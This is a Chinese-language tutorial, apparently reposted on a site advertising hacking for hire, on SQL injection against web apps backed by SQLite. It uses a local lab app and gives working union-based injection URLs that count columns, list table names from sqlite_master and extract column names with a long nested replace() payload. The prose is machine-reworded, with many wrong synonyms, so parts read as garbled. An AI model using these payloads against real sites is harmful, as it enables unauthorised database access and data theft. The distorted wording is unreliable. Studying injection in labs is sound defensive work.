根据SQLite数据库的Web应用程序注入攻略

访客5年前黑客文章748

SQL注入又称hacking之母,是形成 *** 世界巨大损失而臭名远扬的缝隙之一,研究人员现已发布了许多关于不同SQL服务的不同进犯技巧相关文章。关于MSSQL,MySQL和ORACLE数据库来说,SQL注入的payload一抓一大把,你能够在web运用中运用SQL注入缝隙进行进犯,假如其间任何一种数据库被用来作为后端数据库。SQLite就比较不那么知名了,因而相关的SQL注入payload就比较少,假如你想进犯后端数据库为SQLite的,那你就得去学习SQLite相关功用,然后构造出你自己的payload。因而,本文中咱们将讨论两种关于SQLite的SQL注入进犯技巧。
1、根据联合查询的SQL注入(数字型或字符型)
2、SQL盲注
试验环境
为了完成根据SQLite的SQL注入,咱们需求以下环境:
1、web服务器(这里是apache)
2、PHP环境
3、运用SQLite数据库的存在缝隙的web运用,这里有一个我自己开发的运用
测验运用包里包括PHP代码和SQLite数据库(ica-lab.db).数据库共有两个表单:Info和Users
施行进犯
1、根据联合查询的SQL注入
根据联合查询的SQL注入并不难,SQL查询直接去数据库中获取表名以及列名。让咱们来试试根据联合查询的SQL注入(数字型),注入点:
http://127.0.0.1/sqlite-lab/index.php?snumber=1
在测验order by子句后,咱们能够发现列数为5,Inject URL:

http://127.0.0.1/sqlite-lab/index.php?snumber=1 union select 1,2,3,4,5--

列2,3,4的数据在web页面上被打印出来了,因而咱们需求运用这三个列的其间一个或多个。
获取表名
在SQLite中,为了猜解表名咱们需求运转以下查询:

SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
在缝隙运用程序里,假如咱们构造像以下这样的链接,web运用将会在2这个方位显现一切表名:

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,group_concat(tbl_name),3,4,5 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'

为了让表名独自显现,咱们能够运用带offset的limit子句,就像这样:

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,tbl_name,3,4,5 FROM sqlite_master where type='table' and tbl_name NOT like 'sqlite_%'' limit 2 offset 1
limit后边接的数字是为了获取行数,而offest后边接的数字则为之一次回来成果中的删除数。在上述查询中,limit提取了两个表名,然后哦之一个被offset删除去,所以咱们获得了第二个表名。相似的,为了获取第三个表名,只需求改动limit和offset为3跟2即可,即limit 3 offset 2.
获取列名
关于获取列名来说,相同有个简略的SQL查询来从指定表中获取列名。

union SELECT 1,sql,3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name='table_name'
只要把上述查询中的table_name替换为你想要获取列名的相应表的表名即可,在本例中,我想获取info表的列名:

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,sql,3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='info'

获取“洁净”列名的payload
用以下payload来代替'sql',其他的payload坚持不变

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~')
Inject URL:

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union select 1,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~'),3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' and name='info'

[1] [2] [3] [4]  黑客接单网

相关文章

PHP序列化与反序列化解读

花费了点时刻研讨了下PHP序列化,写在这儿。一是便利自己知识点回忆,二是协助相同有疑问的人,欢迎纠正过错,不喜勿喷. 0×01.确认装备文件 首要体系运用的ubuntu apt-get install...

根底事情呼应中的Volatility作业流程

最近,我发现自己需求对完好内存转储进行一些查询。通过一段时间的搜索,我发现了Volatility-Labs的这篇文章,依据其间的辅导办法,我能够很好的来评价内存转储。当然,你或许会有更好、更深度的内存...

网络爬虫暗藏杀机:在Scrapy中利用Telnet服务LPE-黑客接单平台

网络抓取结构中运用最多的莫过所以scrapy,但是咱们是否考虑过这个结构是否存在缝隙妮?5年前曾经在scrapy中爆出过XXE缝隙,但是这次咱们发现的缝隙是一个LPE。 经过该缝隙能够获得shell,...

议题解读《我的Web使用安全含糊测验之路》

我的Web运用安全含糊测验之路 什么是Web运用中的含糊测验? Web运用是根据什么进行传输的?HTTP协议。 含糊测验是什么?Payload随机。 Payload放哪里?HTTP恳求报文格局是什么?...

一名代码审计新手的实战阅历与感悟

blueCMS介绍 个人认为,作为一个要入门代码审计的人,审计流程应该从简略到困难,逐渐提高。因而我主张咱们的审计流程为——DVWA——blueCMS——其他小众CMS——结构。一起做总结,搞清楚缝隙...

看我怎么发现GitHub提权缝隙取得$10000赏金

之前,我从没参加过GitHub官方的一些缝隙众测项目,在HackerOne建议的HackTheWorld竞赛中,主办方宣扬除了赏金以外,还有时机取得Github供给的终身无约束私有库(unlimit...